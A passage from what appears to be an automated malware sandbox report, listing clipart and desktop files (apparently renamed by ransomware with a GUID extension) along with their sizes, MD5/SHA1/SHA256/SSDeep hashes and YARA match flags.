SHA1: 218d71719183211c7cd1d31c99942d7f6d138107
SHA256: f0db826e2443052e30a12e8660081995c4ae0d34d281382b1e5a89950ed6ffb5
SSDeep: 96:YWroLtLnQ1C3UtHmiIkAmR5P/gPLUv3iPjSXRdfY3jJjdggkcvzVdTavHFeEX1Yg:0ZcCmHDIbm3AAasRMpdga/T+lJX1o/A 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00174_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 5.35 KB MD5: d145dd4a15d2fea2d82a56cf7c3cd571
SHA1: 8ae2cc92593e0ca762db66cfd93934f68b5b3b26
SHA256: 868bbfd36e7662625ab8e5e114048413203469adc4956a79b6b5fa49cc809514
SSDeep: 96:A/uPDxkMZ97JVHrA5k8ZaosNUt0E0+wA5XwXvHFeEX1Yv6aRe:A/ubxkONDrA3ZaokUEJGulJX1o/A 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00175_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 4.77 KB MD5: e882f2c00528d0f3fa2e6ded6a92b956
SHA1: c680958718c973fdc2736bcbf626b0c5fbec4de6
SHA256: 0ddec6cd88ed7b74a9e98c0069df799edcfc123f6bfeee7c8bb2a54887823751
SSDeep: 96:F99eWKSWbxY6omlyd8GAPIN2vk/kNsUD+HQJc7w5mvHFeEX1Yv6aRe:5tKSIxSRAP9VzD+HQc7GqlJX1o/A 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00176_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 4.52 KB MD5: ae17b69ae4f0a107d992e56f329dbd2b
SHA1: 6c433789761fb8dd8aa477a0f2dc042353df48b6
SHA256: 849484cb17ddb9d988b0a36806495841682a81ee71d8c9c51b44202ebba719b3
SSDeep: 96:pMzFg3DgbOPSXmiJ+Bz3cxseYQdWB6fh6PvHFeEX1Yv6aRe:KFg3DgKKXmiItsGyWB6fh+lJX1o/A 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00932_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 15.55 KB MD5: 6ae702f7ecadfce341d1bf1ae6e576ca
SHA1: 963b35f6e357cbda4e14ab1828574efcdd56cc94
SHA256: cfa32f0bee43022014514390ca038286029e2548360ff05c1a505655d8953075
SSDeep: 384:nTZ0CSOoPaU0WRCPZZ1t3LA6GZ+/qqHEtVYSTX1oI:TZ0CSzIFdE66LNA6F 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01039_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 4.74 KB MD5: fcc39596fd9c71246464d96e2c885b05
SHA1: 55109fe437c268d43fcd1f784312ede1f8928f27
SHA256: 3c9f7e121948c08441cb985c73d03efebfca2e747fb4358ed4f4dddbb6518653
SSDeep: 96:sicovf/KnaQcq45n5K6Wl0DAlS7msbwYR2R+gtzisfc+UvHFeEX1Yv6aRe:sicmV5kPl0DAGms/R2R+J+glJX1o/A 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01084_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 3.25 KB MD5: 168bf7480b44168280cce2326c55cd1a
SHA1: 52decb42758adde2c5c6f6547663ff1a83f93643
SHA256: a5c5072503596134a0c752c3cf2d9499ba1031bdc5deb8cf39e8913d906ff993
SSDeep: 96:Hcmf/KBJeQmL37+P0ylqvHFeEX1Yv6aRe:H5AJeB37kulJX1o/A 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01173_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 27.17 KB MD5: ca7a4897d0a6be3f66ae53435295f018
SHA1: b526760721280016ab95d915921676d4533455ef
SHA256: f94bd17e5117c316ff0b1f290992786e4ba8596604e6249fa5217169d57060e4
SSDeep: 768:NgzoImTEzDXWLFjebRDyDHdaWElzNAb78kSVbudn0F:OzoIJFbsD47l6YkHdnA 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01184_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 5.13 KB MD5: 112f44cf625a8c37f8d9cf9fdd011dbd
SHA1: a917e315542a26240f5dfb1aecad121aae239380
SHA256: ef8bee5dd0e1140c71c43d7f4925a035c0c990d6a84f83769725672ecbb657eb
SSDeep: 96:Laf83hgCb1Gjc1iAgqcewg58D7ETTv0j45gyfL2Pshkyp789vHFeEX1Yv6aRe:GOMjEHck3iA7hky4llJX1o/A 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01218_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 4.41 KB MD5: 7076daaff80d242f3fbdea333379ce02
SHA1: c3c292ac1492c4d12d183cc71af7031b1e579ca3
SHA256: 642e4c3b6c474eaca2ada7e67457d884735b33181cb96d8a8837dee539468d68
SSDeep: 96:LTix54ElMcJwpByMDJ+z5YSbDxUX8/n0BiMTW+tOPl0vHFeEX1Yv6aRe:fS54ElMckDDYbCX0n0bWNAlJX1o/A 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01545_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 8.66 KB MD5: d6718c10e8b33300d30292f738564e2c
SHA1: 48a43636f05004d5fe6abb06071c0fc069edbe95
SHA256: 72bf69fcf81043388cd213eddeb091901f9c54dbf557a7751cdbcdf03e07bc7d
SSDeep: 192:mErVAoVMjRAC+jQ4pUwPkEl4U/KGSblJX1o/A:PGoajKC+8x0dl4WSbTX1oI 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN02559_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 7.94 KB MD5: 781439c1aaf0ece9630442778423d619
SHA1: 875ab48270d47aee31e8a14510428b861b2ee1ed
SHA256: 5762b1786b5232abb5c754e6b116865636152e0b40d0100961cdcd35d7f03963
SSDeep: 192:09rrXmkCeNKdVZJmjEYtjepZrcVB0M0D4lJX1o/A:uPX/xcfJmjEYepZrmB0OTX1oI 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN02724_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 3.52 KB MD5: ffae36c8943d2cb2bb9617cddf6ca166
SHA1: 7f38beb0c96c66a1ff4dddd407c0c3e7ddf6179f
SHA256: ec9230a2e3ce6e7ac7f00d6b35af915da654dd09ec6df1e596cc167a471cadd5
SSDeep: 96:IPtWlQDYf/rMNlDQbF+u0Hr2kitNUQCVJuvHFeEX1Yv6aRe:I1Wl2+zElQbF+Nr2pEilJX1o/A 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN03500_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 10.49 KB MD5: f68b85f5d2b9b09413c71db10504bce7
SHA1: e08bfb1f1229956ff690f6fedecb1121ce65118d
SHA256: fb35c7a78ecb470ac6794dff72f24b3b2d8621b02bbccf2a0fa83ce7fc8598f2
SSDeep: 192:jjAlH5w4dcuHerfV2wQRWL44VJ6/MxSmqFma3UNXjV3R3wgzH/wqE4o1BlhyfhmK:AQyRHes5CC/pmryCjV3R3142oqRfnTXz 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04134_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 4.80 KB MD5: 3c22b5b4e3db09b99509e4c9b3d67234
SHA1: 164a2268e502f832aea16dd517445c933f13c357
SHA256: 20de64d5b3dc6e3c56adcd5d1f86507e2022fc4280bed38b9e9037c679d8487f
SSDeep: 96:j2OKZ+cOFNFEyKTiRaW05mjJtxLM/xoPlAN1O/TLWse2jAvHFeEX1Yv6aRe:jxG+cOFNFA5W08j9M/xo2NQ/vWjlJX1F 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04174_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 4.03 KB MD5: 455ec4802d12875e497901069dfda7fd
SHA1: f4190907901a54c8f12b531e2aa655ea2bb6ff70
SHA256: 99fe1e8a0708b5c0ceb97be8d768496b5ad4413c51f8af814501568b81889f24
SSDeep: 96:gal+ekD6HNYEIeW6o0dkqtKKonbY3+vHFeEX1Yv6aRe:t8ekmNXXW6DOK4bY3ilJX1o/A 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04195_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 5.97 KB MD5: 6275f46500471153d7cdf18f3ba1d531
SHA1: c7ad7b4d19ffd899415f3446944f7b50c9b5eb5e
SHA256: 278dcc0f5483b138c260b7417c2680f30690466a5eacde3a346936ee46f9f332
SSDeep: 96:uL2U4/4+tjUmIxWtiilBWWwvg9nm8Gvpa284MQh4OIvHFeEX1Yv6aRe:u8/4+NeeiilBhwgmfvU28I4HlJX1o/A 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04206_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 8.96 KB MD5: 717e0e3a4937a01bee389d3a428bed32
SHA1: b55b3915b3cca898d330e898b1f0c35942986398
SHA256: 57ee5f91413dfb4b561b22b5104cb9be59681e5cfd35a83422a2ea05a9bcde34
SSDeep: 192:3CZ2IlthMRUvrtuoQzXTVKXGN/VfCFoxQ5UksLnlJX1o/A:kltrAoMpDCFP5xsTTX1oI 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04267_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 9.08 KB MD5: 7537d1435eac0b931992fb214ca792d2
SHA1: 862e214ee6086f5379873574184264714a4f9ba9
SHA256: a20de969a5b872540551e80631e036b5bfcb720e1e0007702fae72289c15102d
SSDeep: 192:ihlFfnKb8nuM5wQCpclepwu5wdyD4g8AkGlJX1o/A:ihlk8nuqfcwu5wdM18iTX1oI 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04332_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 5.66 KB MD5: 189d121a8b569fe9194995c4f3daa6ca
SHA1: f23dad66c300e1d9eaeed8ccc4fbf03f1a5f72e7
SHA256: 3f7482cc34852dbbca76e28e6a463c197305d10e7906696c01abd531c2cc6236
SSDeep: 96:vR20Zb36k330rWVHRvUBeCHg2auvqb3euqASIc0vHFeEX1Yv6aRe:vw0ZbqEErKvUTgh+JuqADlJX1o/A 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04355_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 4.61 KB MD5: 577a35ab85456d198252446d01c85cae
SHA1: 5e40d934251a84dfd0aa3a743a0722cb36770ca8
SHA256: f80470c2641b68ff7eefc3462e7d5dbdccaea4e91f19d1acb26766902536972d
SSDeep: 96:CN17Nzg6rvDmmj4Q3EPIL2H0ac2+3jTuOV5fBvHFeEX1Yv6aRe:mh5g67FLUPzFc/S85lJX1o/A 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04369_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 6.16 KB MD5: 7b9164735e7b3b8d98208c31f1239c8f
SHA1: 302b23573d98104bdff9c37c962d24fe0181c9f3
SHA256: 044acf78d0a60ed52a2f2f6bbfc3a8a061614c03d2d32d0bfa1e478dce965d07
SSDeep: 192:Hrplhx3L0NMUt998E0rnUnYFnzYXMQlJX1o/A:HThRLuLP9X0rcYRzfQTX1oI 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00116_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 4.76 KB MD5: 0d1dcdf9ed0a94e7148e445df2bc4de6
SHA1: c27a841ac5658568d003c7e5ca260456bff68bd1
SHA256: 3f7b2f380055056aef9617a6b80646ae79e2e07f7db2bf2bc43d6e5d261f385c
SSDeep: 96:z/JM0o/ci3Nwx4VJd0KjDediZmtyRVxpST4FQRd3L4FQRd3EVwFl02UqEYvTBR39:lMVyx4VJdfjDediZmt2xpG44b44UVKlx 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00146_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 28.27 KB MD5: 64f243084cb9d15d295efca4064f82dd
SHA1: 69ad5db70247bc8cfe069515473bd74e9f4f41f6
SHA256: 14edca0786bf28a31127b8c40255d2adc0f50c0f0ea38479987e7d5389e1248a
SSDeep: 768:AnC2KLqmi5AfdzGi3bHCQc9yM2XvlomvoK+hlJZFAf5iUnZlh+LiakoAstICYF7T:1dNBQ0mhyXCKG62wNL/5 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00155_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 11.36 KB MD5: cd42411c780fbee9a182da468cacfd7d
SHA1: ec10c6ee28bf6ac9118dada9b988c325b938580a
SHA256: d93fcfb3ff53bffdcc22351fad95d4d9e7b11074ed1f8d79b83cc74842fb9fd9
SSDeep: 192:2xtAOP927mZ8OuHNRDgXjXIGInt6RVIMVM4tu6kYoF7DUuFN58G4xcnScxPsfDlf:2xtDM7mZ8BmrIGE6RVIMVM4tu6kYoF7s 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00160_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 21.99 KB MD5: d73e5293af5cdc261f1ed60a0bbdbc7d
SHA1: d4430fdb810a917dc5e59a00274bf766b80e0be3
SHA256: 9aa10a7767b264ae1e9243db8130e018bdae1d919096cbe22d430c6ca9bfc189
SSDeep: 384:Is6r8M1mJk/dluq9s76GmW8BxdvzeDVoa5myWKYba38exzRui7c6JCuRKeSCz8Pu:I7r81Jk/2q9s9mW8Bxdvze5oaYyWKYbE 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD06102_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 15.74 KB MD5: 45f08ad773790dec024123b71e6153a9
SHA1: 4502ca02be53f0b59eb1b5bd9963110dba8d297d
SHA256: 613f497fb0b3d8079071183ac80942ebbb0dbee4eaad3fbf4a0db92b2fa135fa
SSDeep: 384:i4anifAYOE4INNPGMrvnA6/vJ4md9LmsHpBtYviXRIdRpYVkLWqRCwKdxMqivf8f:i4auAYOE4INNPGMrvnA6/vJ4mbysHpBd 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD06200_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 16.29 KB MD5: fc8f4c8dea257aba885ecfdd76e7253e
SHA1: a63f3c37c2c3667431c87593bdd6fa27b5022bf3
SHA256: 9c8693aa92c5470d95bf5114d4740c9898b1d261c92809872b922e6c6ca02bda
SSDeep: 384:81vmFtzk0THj4Y3lC5GZ20wLi14cVVeixCUS0oWMD7oKSXWqOWMHgJBoq1Baqifp:8pm3Q0ff1C5GZ20wLi1HVVeixlS0oWML 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD07761_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 26.12 KB MD5: ffb35e0a38d3a22db194f3b055a6c001
SHA1: 1a1f39e3ca78359b3fa9652627626be31a8aeff8
SHA256: dcb08bdfb295454b506f022ab3cb36ec72df9e1caaa66e6bf6145c7b2dfd5b89
SSDeep: 768:6WFXaxMFxivMfSi3RGGKrVJ0EgKzaeM9jKqE9Bx8KF7bnbkYQwXtFYqvZTPs/2sZ:hFXMvCiGyAmygtw48Ox4 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD08758_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 23.75 KB MD5: 3a8c52d21d97339be5905f00ed087ca3
SHA1: 376ec4f01f85be88e22e2b67e2e2c39bd88ac47e
SHA256: 29bffee6857972608033208c349cf575f6dddd0544c84bca59247bf98f123751
SSDeep: 384:GmB5ln37wvmxuD1ZBwpbg91/sPJ3OdKi7VjDWs+JHByL0SgYJzQmrmH985rbAR6Y:GmBHn3UOxUjaEFsPdOdB7dDB0r8zQMax 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD08773_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 24.20 KB MD5: f38cb32b56d41a35535c120e46e81f19
SHA1: ee8ffedf44349856bce3d760f1294ae83bd12ea8
SHA256: 960cc07f35ab745818a404f13191389a3f43a210f7adfb117ac256692d723172
SSDeep: 384:yyf+LkSDlfTCbv7A8varAuKXNfVcIzF8M2iBJ3UBx359EgBSBUmEnAw07SSs8m:yc+HpqE8veAuStzaMvJEBxp9RSB2n46 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD08808_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 46.87 KB MD5: 6a1751879a10e01a57faf90b0e2deb11
SHA1: dff7279a1448376c21e251dd9edd280ee9efebad
SHA256: c27f78dd557548cd62d4810afef68a64cd4759b84fb0c6eeb30b8f2805b8cb7b
SSDeep: 768:Kqo4MS13fndvHfA0vRHxgOeM98GMg0PCXzo1MhD7XuxD0w2a:dbrRz6so1MhD7exD0w2a 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD09664_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 7.78 KB MD5: 085e9a0d621b2a9114e11ca7f7ba7d46
SHA1: 95c088ab0759414a50b9d805055b13f37d9ff88e
SHA256: f1ba747428d5aa69e54b75b9985db636e440efd1733e8aa16526f1f37f2fb587
SSDeep: 192:iiph805wfAH4nf3CJlT4WHr3BSFOEzWvkpOkJWHfSNx31GzEJ6YUoy1kTQirr6iJ:i08Rg4nKAWH1oykpOk3x31Go4YZy1kMW 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD10890_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 13.20 KB MD5: a774d8a65fadfbc0b683002b0c13b6cd
SHA1: 5577eb6498c49e82329efbd8b5e235c6c09a8bfa
SHA256: 0ab9172ce5baa34b07a2f8fe18af4b56f12df5e5f702da8d7ee166bd1e66116d
SSDeep: 384:LSZCWR+JO6ePsWR/8JBBpxtaMwisArcgw:Lgv36ePsWRkdpxta5isccv 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD10972_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 19.72 KB MD5: df6b2f1be0e9dd21ff7cb42f2639971d
SHA1: 9e00b4a5c6ae90844e9228e84fe8c032ddfd674a
SHA256: dede6b3a4dca308660798cdf5f17f3d0db8fb9a555a7541b6195893f40e9aff8
SSDeep: 384:lSIX013bX99oje/jtXiM7t3acqk3tTHB2uuj9yhyqCVtK:ltXYgQtXiMB3xqkdTH29KGvK 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19827_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 9.48 KB MD5: 2b47156c17773cc132d9b3bbbce0c4e1
SHA1: 079fa051d90d53930fb3c7386b1f7b15774dcd4b
SHA256: f8efdd42666356deaab8d00d7fcf57b01a5efe1ee028f13f01cefec9b6204b2a
SSDeep: 192:HOquE9PxA/YD43GYCoSTmBgSyapCY1l5kYzoCQ1JMhkptm56g/:HtnPxNzoSPVMCYRnzQPMuG56g/ 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19988_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 17.88 KB MD5: bca899532ce58632c12fc1d60f835395
SHA1: 24b58e7b9f93443049069e8b7e4554446f2e735e
SHA256: b3fc4c6ab96f88f4216532e891c33f9140285e8d28a6903a26313031e0b7a32a
SSDeep: 384:pdgr5nrHzn6Lhe9cr3OZqPVwfy3ErSHDsVunkrzVDM9x+iWXjP2v:pirTMzVqEE2A8nk3VI9x+vXjG 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00012_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 9.59 KB MD5: aeb0b32638239613dd1347d6bc9cf6a3
SHA1: 1bb0773274a4ecfabcea1d164256ccb6c262b67f
SHA256: 7f8144784b4466723357dfd7295acc5f27d1df59683939f04606d62467d95e38
SSDeep: 192:/Q7fS2NZqFDqsV1gFkoa8miLtheZTJ9G15PP2AG5f:orSs+DXqmotwZTJK52xf 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00105_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 881 bytes MD5: 9365ec0d3462e2e46ae3fb414f904a50
SHA1: 41b7947e80af0ffaafc6ae6b3e6064ddf21f689d
SHA256: 21e262fc9dc46986ab07e80800a56cc2405b684e8158ea04c88fb272ed792b01
SSDeep: 24:t/zjlcnrA3HiyAHhN/GAW6Q5250+Sp24f+v/8Aal:1zj20Z0N/GAhQ450+4f+vUAu 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00148_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 1.66 KB MD5: 4ce0827a7f45a45c08b2a0fd60b25647
SHA1: db7df5cde4330ff6dc95e9cad33f5f05b6e69f18
SHA256: f12de134086e807930175a19566680778928208f779d7907d3c208ad40577e0d
SSDeep: 24:t/0fbE9A3Hih+KhZmhC8U/NdhCNN1w27+9hCTUhCvbjSxGIoK7Qh5YLx4VQuHlsx:1020lJSd2190NmbjSxGucvBQuSrio 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00252_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 4.60 KB MD5: d532df7640dd7181640215eba285627c
SHA1: fa36d3604e8a1d9278be52f9b0368c0d62976ecc
SHA256: 83b1578c11a75a713b90b174d2fffe73ec418758ecfa4158a3e76968880ba7ed
SSDeep: 96:cezmWx9OOhxF6gIngLo/vdMC3fxBtqzQuKyV2DW4MqRLJKLM9YdbMloL3m2sggfh:xyWx9OOu9ngLo/vdJ3fNqNK+WbMq5JKc 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00254_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 1.70 KB MD5: 729d8f5acdf1ccd33deb07f21bf348c1
SHA1: 047e7008a2aa5ba25d0086e38268e716b1ae2048
SHA256: 360f4fa39d2c8671085cdfb1b85d07c953dfc51d41fa392023f5511f92a63f08
SSDeep: 48:8WOK4//yiLpSLphPLpGILpSbLplLLpDXLpaLpOLp4Lp2vLp7LpnbYik4FLpoBCIk:xO1R6zlSRnRyuACxnUxgoBZba7 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00261_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 12.19 KB MD5: 7409e687a32d7f7e47b2ea6afea25a04
SHA1: a9cf10d31f5113b721e820aa4c033cbe8e512924
SHA256: faaad4ff1fca3c764632d10669195c832d1cc4a46473b79473e4eccfb8247bed
SSDeep: 384:lVxXbY7jcr40iIpT5hyvzTHrspmk7JzlkHfxabRu0wy2abpJD0/6MtetQtht6tI/:RXbY7jcr4rIpT5hyvzTHrspmAJzlkH5j 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00262_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 2.50 KB MD5: 383ad56c8dbab5809905ad1720abeffa
SHA1: 31cdbf690a8a1312aeaaa7b34a4e93d3a5a67d62
SHA256: 980c108663f43af9f9ff63c40daf60712a48812c888b26d37b416403e116f579
SSDeep: 48:ngK4/Ntzm/BKCuWQLpjLpSLpYbLpXLpVsLk6pml7LkDLkb3iO6ELkOLk+LkJLkga:ng1jm/BYJ6O1H6pmlskTOfvuVxUj3b2r 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00270_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 2.95 KB MD5: a8c3362326c99319d9147397ec210489
SHA1: d63a9f5d933c5c9db290d6303fb15ce2863a7522
SHA256: afa4fb26f70b1cbf7ad5a659cca276665e7fa7d628786253427f326a6f8b71ab
SSDeep: 48:dfsK4/ogM1KO6LkuD3Lkm4LkmHPJJLkms9RLp+LpFY/LpyLkXWGWFjLpzV7s83L1:dk1QZuD4mdmHPomo+FYtjVWjzts9HwKc 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00273_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 3.69 KB MD5: 86f997e7ff367f058e20d748177a3821
SHA1: c85796977bc3fa9cb8ae4cc63f9678513e9dac95
SHA256: 089590936f2c8831c3b28c0280214ce750923935e4b83af547a9f5786b1926cf
SSDeep: 96:Mc1xisUkXwOI8hDu+CuajXdoT2r0BgmETmPYHJ+jiEjZSq6ztD7UuEPN:jxEkd5hy+Cuardq2AamECgp+j3ZSltPY 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00390_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 12.80 KB MD5: db1d167213760e3ef884f81fe4c02a6f
SHA1: db998f5d43758ec1b6a33682f1bf363ccbf12d07
SHA256: 52e338168126c6b99389055a5feab82f810aca49fc272ec60ca7113c8ed08d77
SSDeep: 384:p46DNwCGydn1PxZ2XM4F7brmcR8EE8dQ2KxdliiCBUMrz9+0on+37ab:p46hWF7fDvzdQ2KTli1uMrz9+Bnyab 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00392_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 26.42 KB MD5: dadbb12d0001b6b7169e82e300325878
SHA1: bf2d28f27efabce5ef312b7a32f4ddeb114506d4
SHA256: 45dbb934f90dbd6ebf7d94d1678313fa9876c76c0191242dd27a5c8080c988cc
SSDeep: 768:5AJOtPOUw9avIjUmbehqK5hS+D521KwxusNmj//:COtPOUqNUmZy/5+xuoU 		False
...
Modified Files
»
Filename File Size Hash Values YARA Match Actions
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\1VmZjk26.avi 82.33 KB MD5: 5f85287bae4ade1e73d0457b32caa71b
SHA1: 61f3ecb009827a99091a33afa0d66f3f1d394548
SHA256: c17395a854ba3c4e602bd65487242d1173a383ecdbf7d0344e6f89a4dd0ac650
SSDeep: 1536:eLbOjmofKsk9JpdYZ6jdysuVPHT8o+X0MooOZVreiFrwWwSlnEs5bmXz1/:euiofKTrdYZCdkVPzN+FGVRF8WwStBbe 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2yM2MmykL7t.swf 91.04 KB MD5: fead70326ba9ced7eacf17a2672932e6
SHA1: fb1df71cbee35e800ea8f14fd904578aa3f492c3
SHA256: 2efb5e21b11537003e5958c774a93f6cf1d4b242720ba3b2f14795c799506ef1
SSDeep: 1536:Z9Tcg618QmfDEzJ3ME7n5fH2wO0AQsnM35chzRB70pOU6Z75foubqrLaQu5jqr:ZplbfDE3ME1+wO0AQavzRZ0pB875fo1R 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\4gI2XKy3q7M.pdf 15.39 KB MD5: e24ecac5212889150bb5120e4739094b
SHA1: 2c0ffc784cbff5814f3f49c72214ddf506b6ce85
SHA256: bf387848133382cb756dbc864c296d4f9763a7845531178241ad3af86472aed9
SSDeep: 384:zRR2t5O7Iizhg7Z3K98nqz+Kq9vgwWKnGg28mhZvKP1jsH1Rta:dgt5fil8lS+qnqtHWKnGg2BUoH13a 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\4gI2XKy3q7M.pdf 16.86 KB MD5: c8afc762e5fcd1e1e0a082017e3f7343
SHA1: 48ac4971c3dadfc2c57344c69a216a234bae0a92
SHA256: 940241ac601a1c574e1d20a1d8e22e783b19e3cf20c46fb2d5770a75b58a4bdf
SSDeep: 384:8WiCWDy+c3t2Ogx032MnDTmN+kkCzeds0JvTX1oI:8pxe+cEOgx0meDTWtt10XF 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\4Oh_BhRBEP.png 24.38 KB MD5: a6d8b0492952cedf4459a979a2389c48
SHA1: 87c10da2e8c5ffae58e0f722854b1d1f99b77286
SHA256: d8fd59f471faf3bc1cb703f44549d8c337f8709a5878dcdf35f31c1b5a5c88e5
SSDeep: 768:j4H/Sux98HAKReh6uNXOF5QNRlGOU0/yK:j4J4Aq3IYOhB 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\4Oh_BhRBEP.png 25.85 KB MD5: 4baa2ca4be48c95600a9e9f8d7a11ea5
SHA1: db495e58e5fd7947a243cdea2b4d6ad675f60dc7
SHA256: 867ca41ff09f30928f98312a18b999f7c15eb09735245f023d995f9bc52c425a
SSDeep: 384:1RbywQBWT6jNM7xrv3S9N/CR2SbLhj3neNy2gPVZv0QdG3um+e5/52ppQBTX1oI:Pp6B6xr69N/aLhyN/GPsQY3uhu/gMHF 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\4SiIb_crUM0-wdGU.mp3 76.25 KB MD5: 6178d8991d185fda19a6fce304b3c211
SHA1: 88db075a59677ed241f1b72b201bc12a8d0b68a1
SHA256: 8cca5e5fa2fdd4c42988e8069b517a49fa692e59b8bdf5c8db15593b6a00d257
SSDeep: 1536:8d7/lGjaHOxVf+Nl1i5b18YZpr9lbHqix12UG1Lc5OC6Lqnphqr8xeemx:8d7/lGVB+X1aWOprTHB2YOezVeemx 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\6T4y.csv 32.02 KB MD5: cf25f70c0ed05894c4faa162f5845f92
SHA1: c4ed4366a063236d0a80c9510d25ac4d5664ec52
